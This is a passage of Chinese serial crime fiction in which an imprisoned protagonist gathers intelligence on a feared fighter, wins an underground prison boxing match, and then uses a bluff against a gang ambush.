上次安排“麻杆”去问,得抓紧这事了。
想到这,林燃叫来麻杆,问打听情报的事。
麻杆回复的干脆。
老瘸子姓马,关在四监区七号监舍,靠厕所那个铺位。
他托人递话过去时,那边回得很干脆——两包“红塔山”,换十分钟说话时间。
刀疤辉咂咂嘴:“这老货,嘴真黑。”
“给他。”林燃从枕头底下又摸出两包压得扁扁的烟。
这两包烟来得不容易。上周食堂赌扑克牌,刀疤辉用半包榨菜做注,赢了隔壁监舍一个老赌棍三包“红塔山”。那老赌棍输红了眼,还想赖账,被刀疤辉一拳怼在肋骨上,闷哼着掏了烟。
监狱里的烟不光是烟,是通货,是人情,有时候是命。
现在林燃的老本用光了,逼的得用手下刀疤辉他们的东西了。
这让林燃有些暗自惭愧。
麻杆浑然不觉,他把烟揣进内兜,用针线歪歪扭扭缝了个暗袋。他手指头细,干这个在行,缝完扯了扯,不仔细看瞧不出破绽。
“明天放风,东角水房后面。”麻杆压低声音,“老瘸子说那儿清净,没监控。他腿脚不行,走不远。”
林燃点点头。
窗外的雨又下起来了,淅淅沥沥的,打在监舍楼的水泥窗台上,溅起细小的水花。夜色从铁栏杆的缝隙里渗进来,混着潮气,粘在身上。
他躺回铺位,闭上眼,脑子里却全是疤脸的影子。
越南地下拳场,关节技,肘过如刀。
还有老瘸子那条拖着的腿。
第一百三十一章 练拳
二天放风,雨停了,但天还是阴的。操场上积着水洼,犯人踩着水过去,鞋底带起一片泥浆。
林燃没去单杠,径直往东角走。
水房是栋红砖平房,墙皮剥落得厉害,露出里头暗红色的砖块。房后堆着些破木板、生锈的铁桶,还有辆不知道哪个年代遗弃的板车,轱辘都没了。
老瘸子已经在那儿了。
他蹲在板车旁边,背靠着砖墙,左腿直挺挺地伸着,裤管挽到膝盖上头。那条腿瘦得吓人,皮包着骨头,膝盖处有一道扭曲的、蜈蚣似的疤,从髌骨一直咧到小腿肚。
见林燃过来,老瘸子抬起头。
他大概五十多岁,脸上皱纹深得像刀刻,眼睛浑浊,但眼神很稳。手里捏着半截自卷的烟,烟丝劣质,烧起来一股呛人的蒿草味。
“马师傅。”林燃蹲下来,和他平视。
老瘸子抽了口烟,烟雾从鼻孔里喷出来,散在潮湿的空气里。
他抬起头,打量了林燃几眼,点点头,没说话,先伸出手。
林燃从怀里掏出两包“红塔山”,递过去。马贵接过来,动作快得像抢,迅速揣进怀里,又警惕地左右看看,确认没人,才哑着嗓子开口:
“麻杆说,你想知道疤脸的事儿。”
“对。”
“为什么?”
林燃顿了顿:“下周锅炉房,我跟他打。”
老瘸子盯着他看了几秒,忽然笑了。那笑声干巴巴的,像枯树枝折断。
“小子,你知不知道跟他打过的人,现在都在哪儿?”
“知道。”林燃说,“四监区那个泰拳手,右胳膊废了,吃饭得人喂。您左膝盖碎了,走路拖着腿。还有个练散打的,在医疗监区Ⅲ区躺着,右膝盖粉碎性骨折。”
“知道还敢打?”
“缺钱。”
老瘸子马贵不笑了。他把烟头按在板车轱辘的铁圈上,捻灭,又仔细地把烟屁股收进兜里——监狱里连这点烟丝都是好东西。
“嘿嘿嘿,一样啊,都是为了钱,自己找死……”
老瘸子像是自嘲一般,接着开始详细讲起疤脸的事来。
“疤脸,越南名字叫阮文雄,混血,爹是中国人,妈是越南人。”老瘸子开口,语速不快,每个字都像从牙缝里挤出来的,“十五岁就在西贡地下拳场打黑拳,那地方没规则,打死人拖出去埋了,连个坑都不挖。”
他声音干涩,“我那时候还不瘸,没想到他这么厉害。在体校练了十几年摔跤,觉得自己有两下子。疤脸那时候刚进监狱,北佬帮想立威,就设了场拳赛。我……我上了。”
林燃没催他,静静听着。
“那场拳,我记了一辈子。”马贵眼睛望着远处的围墙,眼神空洞,“开场三十秒,我摔了他两次。他下盘稳,但也不是铁打的。我以为能赢……”
“他擅长什么?”
“肘,膝,关节技。”老瘸子指了指自己的膝盖,“第三回合,我压着他打,以为赢了。结果他故意卖了个破绽,我上前想锁他脖子,他身子一矮,左肘砸我肋下,我气一泄,他右膝就顶上来了。”
老瘸子撩起衣服下摆。
肋骨位置有片暗褐色的淤痕,这么久了还没散干净。
“就这一下,我肋骨断了三根,气上不来。他趁我弯腰,左手抓我脚踝,右手按我膝盖,反向一拧——”老瘸子做了个拧毛巾的动作,“我听见自己膝盖骨碎的声音,像核桃被捏爆了。”
林燃喉咙发紧。
“那场拳,我记了一辈子。”马贵眼睛望着远处的围墙,眼神空洞。
林燃看着他那条瘸腿,没说话。
“疤脸的打法,不是擂台打法。”
马贵喘了几口气,继续说,“他是奔着废人去的。肘击专打肋下、喉咙、太阳穴。膝撞专顶腹股沟、心窝。近身之后,他不缠斗,直接锁关节——腕锁、肘锁、肩锁。一旦被他锁住,他不松手,直到你关节脱臼,或者……或者断了为止。”
“他有什么习惯?”林燃问。
“习惯……”马贵想了想,“他开场喜欢试探,左腿在前,右腿在后,重心压得很低。一般会先用左腿低扫试探你的反应。如果你后退,他会追上来用右膝顶。如果你硬扛,他会变招,用肘。”
“他右腿力量比左腿大?”
“大得多。”马贵肯定地说,“他右腿是主力腿,发力猛,但转身慢。如果你能逼他转身,用左腿支撑,就有机会。”
“弱点呢?”林燃问出最关键的问题。
马贵沉默了很久,久到林燃以为他不会再说了。
“他左肩。”马贵终于开口,声音低得几乎听不见,“我跟他打的时候,注意到他左肩有个旧伤。不是大问题,但每次他出左肘的时候,肩膀会不自然地绷紧一下。很短暂,但确实有。”
“还有吗?”
“他呼吸。”马贵说,“疤脸耐力好,但如果你能撑过前两分钟,不被他快速解决,他的呼吸会开始变重。第三分钟开始,他动作会慢一点,就一点,但高手过招,一点就够了。”
林燃把这些记在心里。
“最后一个问题。”林燃看着马贵的眼睛,“如果现在让你再跟他打一次,你会怎么打?”
马贵愣住了,然后苦笑起来,指了指自己的瘸腿:“你看我这样,还能打吗?”
“假设你能打。”
马贵闭上眼睛,过了好一会儿才睁开。
“我会用命换命。”他说,声音平静得可怕,“不防守,只进攻。他出肘,我也出肘。他顶膝,我也顶膝。拼着挨他一下,也要打中他要害。要么一起倒,要么……我死,他残。”
林燃点点头,站起身。
“谢了。”
马贵没回应,只是蜷缩在阴影里,像一尊石像。
林燃转身离开,走了几步,又停下来,回头说:“烟不够的话,可以再找我。”
马贵抬起头,浑浊的眼睛里闪过一丝复杂的光,最终只是点了点头。
回到放风场,刀疤辉和周晓阳迎上来。
“怎么样?”刀疤辉问。
第一百三十二章 开场
林燃没直接回答,只说:“找个地方,练练。”
那天晚上熄灯后,312监舍里多了样东西——一个用破床单缝成的布袋,里面装满沙子,挂在门后的铁钩上。还有几卷用旧囚服撕成的布条,缠在铁架床的栏杆上。
林燃站在布袋前,活动了一下手腕。
左腿胫骨的伤还没好透,一动就疼。但他没停。
他回忆着马贵的话:疤脸的习惯、弱点、打法。
左腿在前,右腿在后,重心低。左腿低扫试探,右膝主攻。左肩有旧伤,出左肘时会绷紧。耐力好,但第三分钟呼吸会变重。
还有最重要的——他打关节。
林燃抬起手,一拳打在沙袋上。
“砰”的一声闷响,在寂静的监舍里格外清晰。
刀疤辉、周晓阳、牛哥、麻杆都爬起来,没开灯,就着窗外透进来的月光,看着林燃。
一拳,又一拳。
林燃的拳法没有章法,不是警校教的擒拿格斗,也不是什么流派。就是最简单的直拳、勾拳、摆拳。但他每一拳都打在同一个位置——沙袋中部偏上的地方,那是模拟人体肋下的位置。
打了五十拳,他停下来,喘了口气。
然后他开始练腿。
左腿胫骨有伤,不能全力踢。他就练右腿。低扫、正蹬、侧踹。每一腿都带着风声,踢在沙袋下部——模拟膝盖、小腿。
踢了三十腿,他额头上全是汗。
“燃哥,你腿伤还没好……”周晓阳忍不住说。
林燃没理他,走到铁架床边,拿起布条,开始缠手。
这是最原始的绷带,粗糙,磨手,但能保护指关节。他缠得很仔细,一层又一层,直到两只手像戴了副简陋的拳套。
然后他回到沙袋前,开始组合。
直拳接低扫,侧闪接肘击,近身后模拟锁关节的动作——不是真的锁,是空挥,但角度刁钻,瞄准沙袋上模拟的肩、肘、腕。
监舍里只有他拳脚击打沙袋的声音,和粗重的呼吸声。
刀疤辉看着,眼睛越来越亮。他是打过架的人,看得出门道。林燃这套打法,看似杂乱,实则狠辣,每一招都奔着要害去,没有花哨,全是杀招。
麻杆缩在角落,看得心惊肉跳。他想起老程说的那些法律条文、谭副院长的文章,又看看眼前这个在月光下挥汗如雨的男人,忽然觉得,这两个形象重叠在一起,有种说不出的诡异。
林燃打了半个小时,终于停下。
他解开手上的布条,手指关节已经磨破了皮,渗出血丝。但他没在意,走到窗边,拿起水杯灌了几口水。
“辉子。”他叫刀疤辉。
“在。”
“明天开始,你陪我练。”林燃说,“不用真打,就模拟疤脸的打法。低扫,肘击,膝顶,锁关节。你攻,我防。”
刀疤辉愣了愣:“燃哥,我……”
“你左手有伤,我知道。”林燃打断他,“不用全力,七分力就行。主要是让我熟悉他的节奏。”
“成!”刀疤辉重重点头。
周晓阳拄着拐站起来:“燃哥,那我呢?”
“你看着。”林燃说,“看仔细了。以后要是再有人想动你,你知道该怎么还手。”
周晓阳咬咬牙:“嗯!”
那天夜里,林燃躺在铺上,脑子里一遍遍复盘马贵的话,还有自己刚才练的那些动作。
疤脸的打法,本质是速战速决。用凶狠的攻势在最短时间内击垮对手,不给喘息的机会。对付这种人,不能退,一退就被追着打。也不能硬扛,硬扛会被他的重击打垮。
得游走。
保持距离,用腿法控制。逼他转身,消耗他体力。等他呼吸变重,动作变慢,再找机会近身,攻他左肩旧伤。
还有最重要的——防关节技。
一旦被他近身抓住,必须第一时间挣脱,不能给他锁关节的机会。如果实在挣脱不了,就用更狠的招换伤,比如用头撞他鼻子,用膝顶他裆部。
这不是擂台赛,是生死斗。
没有规则,只有输赢。
赢的人拿钱,输的人……可能再也站不起来。
林燃闭上眼睛,深吸一口气。
窗外,监狱高墙上的探照灯扫过,惨白的光透过铁窗,在他脸上划出一道明暗交替的线。
一万块。
谭副院长的文章。
疤脸的关节技。
还有苏念晚那句“我喜欢你”。
所有的线,都系在下周六那场拳上。
…………
黑拳的这天很快到了。
原本熄灯的点。
监舍门却开了。
和之前一样,幕后金主安排的管教打开了铁门。
“312林燃,走。”
林燃知道这是出场的信号。
可他这次却没听话的直接起身。
“林燃,叫你呢!”
管教不耐烦的用警棍指了指。
“报告,我想带个人一起去。”
“什么?”
管教估计第一次听到有选手提出这种要求。
一下都愣住了。
“我想带室友辉子一起去。”
林燃和上次黑拳时不一样了。
他现在是老大,这种场合,带个人总比单刀赴会要强。
“不行,哪有……”
管教一口回绝。
却没想到林燃居然回床上径自躺下了。
意思很明显:你不让我带人,我就不去了。
见到今天的选手“罢赛”,这管教一下也懵了。
安江这里的黑拳,外面的赌注押的很大,整条地下网络都被买通了。
现在时间很紧,如果选手不出场,那赌局就泡汤了,整个牌桌都黄了。
这管教自己也吃不了兜着走。
“好吧好吧,312,两人出来!”
无计可施的管教没办法,只得同意了林燃的要求。
林燃叫上刀疤辉,三人依旧通过一条管道,穿过监区,直到尽头那一扇厚重的铁门,
门后,就是今晚的战场。
锅炉房里的空气,沉得能拧出铁锈和汗的腥味儿。
废弃的锅炉像头死去的巨兽,横在场地中央,锈红色的躯壳上趴着暗绿的苔藓。
轮胎围成的简易擂台边,人影幢幢。抽烟的,低声骂娘的,吐痰的,眼睛在昏黄的临时灯泡下闪着狼一样的光。
林燃站在码头帮这边,靠墙。
他穿着洗得发灰的旧汗衫,囚裤裤脚卷到小腿肚,露出左胫骨上那道淡粉色的疤。
第一百三十三章 激战
手脚已经用布条缠好,是麻杆从旧囚服上撕下来,在热水里煮过又晒干的,粗糙,但还算结实。
刀疤辉蹲在旁边,给他捏肩膀,手劲有点重。
“燃哥,”刀疤辉声音压得极低,嘴唇几乎没动,“北佬帮那边……人不对劲。”
林燃没转头,目光扫过对面。
北佬帮的人堆在锅炉另一侧。赵大金没来,小浙江抱着胳膊站在最前面,脸色在灯光下白得发青。他旁边,就是疤脸。
疤脸个子不算高,一米七五上下,精瘦,像一把收在鞘里的剔骨刀。他光着上身,古铜色的皮肤紧绷,肋骨的形状清晰可见。最扎眼的是从左边眉骨斜劈到右嘴角的那道疤,新肉翻着粉红色,在昏黄光线下像条蜈蚣。
他也在看林燃。眼神直勾勾的,没挑衅,没凶狠,就是看。看货物,或者看一具还能动的尸体。
“是不对。”林燃收回目光,动了动脖子,骨节发出轻微的“咔”声。
不光北佬帮不对劲。码头帮这边,气氛也怪。
大眼仔说是全权代表“船爷”来压阵,此刻却蹲在擂台边角,跟一个生面孔的矮壮汉子低声说话,时不时往林燃这边瞟一眼。那矮壮汉子林燃没见过,脸膛黑红,脖子短粗,右手虎口有厚厚的老茧。
生面孔。
拳赛这种场合,突然冒出个生面孔,就像汤里落了只苍蝇。
“辉子,”林燃低声说,“待会儿不管发生什么,你别往前凑。看见不对,立刻往外撤,去找谷彦君。”
“燃哥!”刀疤辉急了。
“听我的。”林燃打断他,语气没得商量。
话音刚落,对面北佬帮人群里响起几声嗤笑。
一个剃着青皮头、脖子上纹着褪色鹰头的汉子晃出来,指着林燃这边,嗓门扯得老高:“码头帮没人啦?找个痨病鬼撑场子?瞧那腿,站直了都费劲吧?”
哄笑声炸开。
码头帮这边不少人脸色难看,却没几个人吭声。大眼仔抬起头,皱了皱眉,居然也没立刻骂回去。
林燃心里那根弦,“铮”地绷到了极限。
不对劲。太不对劲了。
按道上规矩,这种时候两边马仔早该对骂上了,撑场面也是撑气势。大眼仔这反应,不是压阵,是……默许。
“吵什么!”小浙江忽然开口,声音不高,但冷得像冰碴子,“要打就打,废什么话。”
青皮头撇撇嘴,缩了回去,眼神却更狠了。
擂台上,一个穿着皱巴巴夹克、像是外面混进来的中年男人跳了上去,手里拎着个破喇叭。
“规矩都懂!三场,一场十分钟!倒下起不来,或者举手认输,就算输!生死各安天命,下了这个台,恩怨两清!”
他顿了顿,目光在两边扫了扫:“第一场,码头帮,林燃!北佬帮,疤脸!”
吼声和口哨声瞬间掀翻了屋顶。
林燃深吸一口气,扯掉身上的旧汗衫,露出精瘦却线条清晰的上身。左肋下有一道浅白色的旧疤,是小时候爬树摔的;右肩胛骨的位置,皮肤颜色略深,那是警校时长期扛枪磨出来的。
他走上擂台。
轮胎垒成的边界踩上去有些软,地面是粗糙的水泥,撒了层薄沙防滑,但还是能闻到陈年的机油和煤灰味儿。
疤脸也从对面走了上来。
两人在擂台中央站定,相隔两米。
离得近了,林燃看得更清楚。疤脸那道疤比他想象的还要深,左眼因为疤痕拉扯,比右眼稍小一些,看人时有种诡异的歪斜感。他的眼神依旧没什么情绪,只是上下打量着林燃,像屠夫在估量一块肉的筋骨。
“开始!”夹克男人猛地一挥手,跳下擂台。
几乎在声音落下的同时,疤脸动了。
不是试探,没有预兆。
左腿如同一条黑色的鞭子,贴着地面就扫了过来,目标是林燃的左小腿胫骨——正是他旧伤的位置!
林燃心头一凛,瞬间后撤半步,同时右腿抬起,小腿骨外侧迎着对方的扫腿硬磕上去!
“砰!”
闷响像是两根实心木棍对撞。
林燃右腿一麻,旧伤处传来尖锐的刺痛。疤脸的左腿则被弹开,但他顺势转身,右膝如同出膛的炮弹,直顶林燃心窝!
太快了!
这根本不是试探,是奔着废人来的杀招!而且一上来就冲着旧伤和要害!
林燃来不及完全避开,只能含胸收腹,双臂交叉下压,硬生生架住这一膝。
“咚!”
巨大的力量撞得他双臂发麻,整个人向后踉跄了两步,脚后跟踩在轮胎边缘,差点翻出去。
台下爆发出惊呼和叫好。
疤脸没有追击,站在原地,歪斜的眼睛里第一次有了点东西——像是意外,又像是……确认了什么。
林燃甩了甩胳膊,压下喉咙里的腥甜。刚才那一下,如果不是他提前绷紧了肌肉,胸骨可能已经裂了。
而更让他心底发寒的是,疤脸这两下,完全印证了老瘸子马贵的话:左腿低扫试探(实则为诱招),右膝主攻,凶狠直接。但不对劲的是,疤脸似乎对他左腿旧伤的位置异常清楚,第一下就奔着那里去。
谁告诉他的?
念头电光石火间闪过,林燃眼角余光瞥向台下。
大眼仔已经站了起来,双手抱胸,脸上没什么表情。他旁边那个黑红脸膛的矮壮汉子,却微微点了点头,嘴唇动了动,像是在对空气说话。
一股寒意顺着林燃的脊椎爬上来。
陷阱。
码头帮的所谓“合作”,北佬帮的“敌对”,甚至这场拳赛本身,可能都是幌子。
他们的目标一致——借疤脸的手,在这里废了他,或者直接要他命!
疤脸又动了。
这次是组合。左刺拳虚晃,右摆拳紧随其后,拳风凌厉。林燃侧头躲过,疤脸的左肘却如同毒蛇出洞,从一个极其刁钻的角度,砸向林燃的右肋!
还是肋下!依然是旧伤和要害!
林燃拧身,用右臂外侧硬扛,同时左拳自下而上,一记上勾掏向疤脸的下巴。
疤脸反应极快,脑袋后仰,林燃的拳头擦着他下巴掠过。但林燃这一拳本就是虚招,真正的杀招在下面!
第一百三十四章 赢了,但……
林燃右腿闪电般地抬起,脚尖绷直,像根铁钉,狠狠踹向疤脸的左膝盖侧方!
“嘶——”
疤脸吸了口冷气,左腿猛地一缩,动作出现了瞬间的迟滞。
就是现在!
林燃揉身扑上,不再保留。警校学的擒拿结合这些日子自己琢磨的狠招,双手如同铁钳,一手扣向疤脸左肩肩井穴,另一手直插他腋下极泉穴!
疤脸显然没料到林燃突然变招,而且手法如此刁钻专业。他右臂格挡,左肩却因为旧伤习惯性的绷紧,慢了半拍。
林燃的手指如同钢钉,狠狠戳进他左肩关节缝!
“呃啊!”
疤脸发出一声短促的痛吼,整条左臂瞬间酸麻无力。
台下炸了锅。
北佬帮的人往前涌,码头帮这边也有人站了起来。大眼仔脸色一变,正要开口,那个黑红脸膛的汉子却一把按住了他肩膀,摇了摇头,眼神阴冷。
擂台上,林燃得势不饶人。
他知道不能给疤脸喘息的机会。左膝提起,猛顶对方腹部,同时右手成爪,抠向疤脸右眼——这是搏命打法,没有任何规则可言!
疤脸怒吼,右臂疯狂挥舞格挡,左臂却耷拉着使不上劲。他脚下不断后退,被林燃逼到了轮胎边缘。
“认输!”小浙江在台下突然厉喝。
疤脸身体一僵。
林燃的指尖离他眼球只有寸许,停了下来。
汗水混着灰尘,从两人额头上滚落。粗重的喘息在寂静下来的锅炉房里格外清晰。
疤脸歪斜的眼睛死死盯着林燃,里面的冰冷终于碎裂,露出一种混杂着痛苦、屈辱和震惊的情绪。他嘴唇翕动了几下,没发出声音,最终,极其缓慢地,点了下头。
林燃缓缓收手,后退两步。
台下死寂。
夹克男人愣了几秒,才跳上台,抓起疤脸的右手,又看了看林燃,犹豫了一下,还是高高举起了林燃的胳膊。
“……林燃胜!”
声音干巴巴的,没什么底气。
没有欢呼。码头帮这边只有稀稀拉拉的几声叫好,更多人面面相觑。北佬帮那边,青皮头几个脸色铁青,恶狠狠地瞪着台上,却没人敢冲上来。
小浙江走过来,扶住摇摇欲坠的疤脸,深深看了林燃一眼。那眼神复杂极了,有审视,有忌惮,还有一丝……说不清道不明的意味。
林燃没理会台下的暗流,他松开缠手的布条,手指关节处已经破皮见血。旧伤处火烧火燎地疼,胸口也闷得厉害。
他走下擂台,刀疤辉立刻围上来。
“燃哥,你怎么样?”
“没事。”林燃抹了把脸上的汗,目光却越过他们,看向大眼仔那边。
锅炉房的空气凝成了粘稠的胶质,汗味、铁锈味、还有刚才搏斗扬起的尘土味,全混在一起,压在胸口,让人喘不过气。
林燃的右手垂在身侧,指尖不受控制地微微颤抖。
不是怕,是脱力,还有旧伤处针扎似的、一阵紧过一阵的锐痛。赢了,但赢得不对劲。
疤脸那两下直奔要害的杀招,台下大眼仔反常的沉默——几块碎片在脑子里一撞,“咔哒”一声,拼出了一幅让人脊背发凉的图景。
他接过刀疤辉递来的、同样脏污的汗衫,慢慢套上。
布料摩擦过肋下和肩膀的皮肤,带来粗粝的真实感。目光抬起,穿过稀疏嘈杂的人群,像刀子,刮过大眼仔,最后钉在那个黑红脸膛的矮壮汉子身上。
大眼仔被这目光一刺,下意识想别开脸,肩膀却还被那汉子按着,动弹不得。
矮壮汉子反倒笑了。他松开大眼仔,不紧不慢地往前踱了两步。
灯光打在他脸上,那层黑红像是录像厅里的香港混子,脖子短粗,肩背厚实,站在那儿就像老大。
他走过来了。
他旁边的大眼仔见状也只能同步上前,两人并肩到林燃面前,像两堵忽然立起来的墙。
“燃哥,打得好。”大眼仔开口,声音平直,没什么起伏,“船爷说了,钱,一分不少。”
话说得漂亮,可语气里没半点温度。
林燃没接话,只是看着他,又看了看他旁边那个生面孔。
“这位是?”林燃终于出声,声音有些沙,但很稳。
矮壮汉子咧嘴笑了,露出一口被烟熏得发黄的板牙。他没直接答话,而是抬手,拍了拍大眼仔的肩膀。大
眼仔身体几不可察地僵了一下,随即侧开半步,把主位让了出来。
这细微的动作,比什么都说明问题。
“林燃是吧?听他们念叨好几天了。”汉子开口,嗓音粗嘎,像砂纸磨过铁皮,“我姓王,外面给面子,叫声‘霸王’。当然,是小的那个。”
小霸王。
码头帮真正的二号人物,船爷的亲儿子,传说中那个脾气火爆、手段比船爷还硬的“小霸王”。他平时很少直接进监区掺和这些事,今天却无声无息地出现在这,站在了大眼仔前面。
林燃心里那点模糊的猜测,瞬间落到了实地上,砸出一个冰冷的坑。
“王哥。”林燃点了点头,称呼给足,眼神却没松动,“没想到这点小事,把您惊动了。”
“小事?”小霸王嘿嘿低笑起来,笑声在空旷的锅炉房里荡出回音,听着瘆人,“先捅鳄老大,再扳倒笑面佛,撬动西城旧案,今天顺手还把疤脸给撂了……你这叫小事,那安江监狱里,怕是没大事了。”
他边说边往前走,一直走到离林燃只有两步远的地方才停下。这个距离,已经突破了陌生人之间默认的安全界限,带着强烈的压迫和审视。林燃能闻到他身上浓重的烟草味,还有一股底层江湖人特有的、混杂着汗液和白酒的气味。
“你是个能人,我看出来了。”小霸王上下打量着林燃,像在估量一件刚到手、却不知该怎么用的凶器,“脑子快,手也黑。比我想的还能打。”
“王哥过奖。运气。”林燃垂下眼皮,看着自己缠着破布、渗出血迹的手。
“运气?”小霸王嗤笑一声,忽然抬手指了指擂台另一侧,“那你的运气,能不能帮你再过一次关?”
顺着他手指的方向,北佬帮的人群不知何时已经悄然分开。不是小浙江,也不是疤脸,而是一个不该出现在这里的人,从后面慢慢踱了出来。
白癜风。
第一百三十五章 包围
他换了一身干净的囚服,头发也像是特意整理过,脸上那道白斑在昏黄灯光下,像块醒目的胎记。他没看小霸王,也没看码头帮任何人,一双眼睛,死死锁在林燃身上,里头翻涌的东西,已经不只是仇恨,而是一种混合了亢奋和残忍的冰冷快意。
他身边跟着两个人,不是之前常见的打手,而是一高一矮两个同样眼生的犯人,表情麻木,眼神却透着股亡命徒特有的光。这三个人往那儿一站,和北佬帮那群人泾渭分明,却又奇异地融合在这锅炉房污浊的背景里。
“白建国,”小霸王侧过身,像是介绍一件商品,“佛爷走了,他底下那摊事儿,总得有人接着。我看他,就挺合适。”
白癜风扯了扯嘴角,算是打过招呼,目光依旧没离开林燃。
林燃沉默着。心脏在胸腔里沉重地跳动着,每一下都牵扯着肋下的闷痛。他懂了,全懂了。
什么码头帮的合作,什么北佬帮的对立,全是幌子。笑面佛一倒,西城留下的利益真空太大,谁都想吃,但又怕独吞噎死,更怕被警方顺着线摸上来。于是,最快的办法是什么?把那个知道得最多、又最难控制的“变量”清理掉。
他林燃,就是这个变量。
疤脸是北佬帮的刀,本意可能是废了他,或者干脆在拳台上“意外”打死他。没想到他扛住了,还赢了。于是,预案启动。早就搭上线的码头帮——或者说,早就想换种方式控制局面的小霸王——直接站了出来,和原本该是仇敌的笑面佛旧部,达成了最直接的交易:联手,在这里,把麻烦彻底解决。
“王哥,”林燃抬起眼,目光平静地迎向小霸王,“我是不是挡了谁的路?”
小霸王饶有兴致地挑了下眉:“哟,明白人。那你说说,你挡了谁的路?”
“你的路。”林燃一字一句:“我相信应该已经有人联系你了吧,说要我的命?”
小霸王居然之家承认了,像是一件不那么重要的小事:“对,继续说。”
“我死了,白癜风能名正言顺接手佛爷剩下的摊子,稳住那边的人心。码头帮……或者说王哥您,能顺理成章地‘调解’纠纷,把手伸进笑面佛以前的底盘,还能顺带卖北佬帮一个人情,把拳赛输了的场子找回来。”林燃顿了顿,声音更冷,“最重要的是,我这个‘外来者’、‘麻烦人’一闭眼,很多线索就断了,上面查下来的火,烧不到诸位身上。一举多得。”
锅炉房里只剩下远处管道偶尔的滴水声,和一些人粗重的呼吸。
小霸王脸上的笑容慢慢敛去,取而代之的是一种审视和……一丝不易察觉的惋惜。
“聪明。”他点了点头,“太聪明了。聪明人往往活不长,你知道为什么吗?”
“知道。”林燃接口,“因为聪明人总觉得自己能算计所有人。”
小霸王盯着他看了几秒,忽然哈哈大笑起来,笑声震得屋顶的灰尘簌簌往下掉。
“有意思!真他妈有意思!”他笑够了,抹了把眼角,“林燃,我是真有点欣赏你了。可惜啊……”
他摇了摇头,没再说下去,但那声“可惜”里的意思,所有人都听懂了。
他后退了半步。这个动作,像是一个无声的信号。
白癜风那边,三个人动了。他们没急着冲上来,而是呈一个松散的三角,缓缓地、刻意地朝着林燃和刀疤辉围拢。刀疤辉喉结滚动了一下,下意识地挡在林燃侧前方,左手那根歪斜的小指微微蜷起。
码头帮的人,包括大眼仔在内,此刻全都默不作声地或站或蹲,目光游离,仿佛眼前的一切与他们无关。北佬帮那边,疤脸被人搀扶着治伤,小浙江依旧抱着胳膊,眼神复杂地看着这边,却没有任何动作。
林燃迅速扫视了一圈。出路几乎被堵死了。通往管道的那扇铁门,在白癜风那三个人的侧后方,被有意无意地挡着。其他方向,不是锅炉就是堆满杂物的死角。
绝境。
汗水顺着额角流进眼睛,刺得生疼。左腿胫骨的旧伤在疯狂报警,胸口也闷得发慌。刚才对阵疤脸消耗了太多体力,现在面对三个明显有备而来、可能带着家伙的亡命徒,硬拼的胜算几乎为零。
白癜风停在两步开外,从怀里慢慢掏出一截用布条裹着的东西。布条一层层解开,露出一把磨得锃亮的、用钢板自制的“短匕”,握在手上,寒光闪闪。
“林燃,”白癜风的声音因为兴奋而有些变调,“佛爷在地下,等着我给他送个伴儿呢。”
时间,像是被拉长了。每一秒都粘稠得难以流动。
林燃能听到自己越来越响的心跳,能感觉到刀疤辉绷紧的肌肉,能闻到空气中愈发浓重的危险气味。他缓缓吸进一口带着铁锈味的空气,强迫自己冷静下来。
不能硬拼,那就只能……
林燃迅速做出决断。
而白癜风的手指缓缓收紧,握紧了那把自制的短匕。昏暗光线下,刀刃上细密的磨痕像一道道狞笑的嘴。
他往前又踏了一步,鞋底碾过地面的沙砾,发出令人牙酸的碎响。
身后那一高一矮两个亡命徒,也同步跟上,封死了林燃左右闪避的空间。
刀疤辉喉咙里发出一声低沉的、野兽般的呜咽,几乎是本能地,整个身体又往林燃前面挡了挡,尽管他自己那条胳膊还在不自觉地发抖。
空气绷得快要断裂。
林燃却在这时,极其突兀地开口,“知道为什么这么多人要我的命吗?”
他声音平稳,目光却越过白癜风,直接落在小霸王脸上,“从我一进来开始,这么多大佬,就开始针对我,你们不好奇是为什么吗?”
一句话,像根无形的针,猛地扎进在场几个关键人物的神经里。
白癜风的笑容僵在脸上。小霸王抱着胳膊的手,几不可察地紧了紧。连一直作壁上观的小浙江,也下意识地站直了身体。
第一百三十六章 心理战
锅炉房里那种一触即发的暴力氛围,瞬间掺进了一种更复杂、更微妙的东西——惊疑,揣测,还有一丝被戳破隐秘的寒意。
“你什么意思?”小霸王开口,声音里的油滑淡了些。
林燃没直接回答。他慢慢抬手,抹了把额头的汗,动作里带着种疲惫过度的松弛感,仿佛刚才提起的不是能要人命的秘密,而是件无关紧要的旧物。可他的眼睛,却亮得瘆人,像两点烧在冰里的鬼火。
“鳄老大一来就想弄死我,笑面佛也想弄死我,两万买腿、三万买眼珠,他们一个个死的死、伤的伤,但幕后还有人想弄死我,这是为什么?安排这事的那人,没跟你们交代清楚吧?”他微微偏头,看向白癜风,“你家笑面佛死的早,也没和你说为什么针对我吧?”
白癜风的喉结滚动了一下,握刀的手没那么稳了。
“我一个新来的年轻囚犯,这么多大佬这样盯着我……你们觉得,如果我只是普通人,至于吗?”
小霸王的眼皮跳了跳。码头帮的消息网不慢,林燃一进来,鳄老大盯上这个年轻囚犯的事,他当然知道。
问题是为什么?
“但是为什么,鳄老大、笑面佛他们,都栽在我手上。”林燃向前走了半步,这个动作让白癜风和那两个亡命徒下意识地绷紧了身体,但他只是抬起自己缠着破布、渗着血的手,指了指自己。
“你们有没有想过,我背后到底是啥?或者,为什么,我这么让他们紧张、害怕?”
他顿了顿,目光扫过小霸王,又扫过白癜风,最后甚至若有若无地瞥了一眼北佬帮方向的小浙江。
他声音压得更低,几乎成了气音,“你们需要考虑这一点,如果今天真的弄死我,我后面的‘东西’、或者说‘势力’,你们怕不怕?”
“你别在这虚张声势!你已经是个死人了”白癜风脱口而出,声音有点尖。
“对,我今天是会死。”林燃点头,语气平淡得像在说天气,“可死之后,你猜猜,你们下场会怎么样?”他轻轻笑了笑,那笑容里没半点温度,“你觉得,佛爷那么精明的人,鳄老大那么凶狠的人,还有买通你们的人……他们为什么会输?会害怕我?”
锅炉房里的空气,彻底凝固了。
汗水从白癜风额角淌下来,滑过那道刺眼的白斑。他不是蠢人,林燃话里话外的意思,他听懂了。
林燃背后很恐怖!是一个难以想象的实力!
他现在杀了林燃,也等于向林燃背后的人宣战。
为了一个死了的前老大,自己值得拿命去赌吗?
这个念头刚在几个人脑子里闪过,连白癜风都愣了一下,握刀的手下意识松了半分。
连身后的小霸王、大眼仔也陷入了犹豫和迷茫。
气氛都变得说不出的迟凝、疑重。
就在这一刹那!
林燃动了。
在这所有人担心犹豫的一瞬。
他弹射而出!
他根本没看白癜风,身体像张拉满又骤然松开的弓,不是向前,也不是向左右,而是朝着一个所有人都没想到的方向——斜后方,小霸王站立的位置,合身撞了过去!
